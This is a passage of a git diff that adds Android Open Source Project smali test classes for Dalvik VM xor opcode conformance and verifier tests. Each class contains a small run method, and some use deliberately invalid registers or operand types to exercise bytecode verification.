+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali
new file mode 100644
index 0000000..2738525
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v3
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali
new file mode 100644
index 0000000..37fad03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 15
+       xor-int/lit16 v1, v1, 8
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali
new file mode 100644
index 0000000..10c4e84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v2, -8
+       xor-int/lit16 v1, v2, -15
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali
new file mode 100644
index 0000000..aeee0ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       xor-int/lit16 v1, v1, -1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali
new file mode 100644
index 0000000..0786817
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       xor-int/lit16 v1, v1, -32768
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali
new file mode 100644
index 0000000..73b19f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/lit16 v1, v2, -32768
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali
new file mode 100644
index 0000000..b122c58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       xor-int/lit16 v1, v2, 1
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali
new file mode 100644
index 0000000..f3ed789
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       xor-int/lit16 v1, v2, 8
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali
new file mode 100644
index 0000000..5e113a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/xor_int_lit16/d/T_xor_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       xor-int/lit16 v1, v3, 8
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali
new file mode 100644
index 0000000..19bed52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 15
+       xor-int/lit8 v1, v1, 8
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali
new file mode 100644
index 0000000..6a16e26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v2, -8
+       xor-int/lit8 v1, v2, -15
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali
new file mode 100644
index 0000000..dd43fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       xor-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali
new file mode 100644
index 0000000..c02bb9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       xor-int/lit8 v1, v1, -128
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali
new file mode 100644
index 0000000..77d5fec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/lit8 v1, v2, -128
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali
new file mode 100644
index 0000000..5c10d59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       xor-int/lit8 v1, v2, 1
+       return v1    
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali
new file mode 100644
index 0000000..10c0f71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       xor-int/lit8 v1, v2, 8
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali
new file mode 100644
index 0000000..f0e44a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       xor-int/lit8 v1, v3, 8
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali
new file mode 100644
index 0000000..b3c8a79
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_1.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali
new file mode 100644
index 0000000..3192949
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)J
+.registers 5
+
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali
new file mode 100644
index 0000000..3e034fa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_3.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       const/16 v3, 1234    
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali
new file mode 100644
index 0000000..2512989
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_5.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v0
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali
new file mode 100644
index 0000000..0bad346
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_6.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v5
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali
new file mode 100644
index 0000000..73fe3a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali
new file mode 100644
index 0000000..97ed69e
--- /dev/null
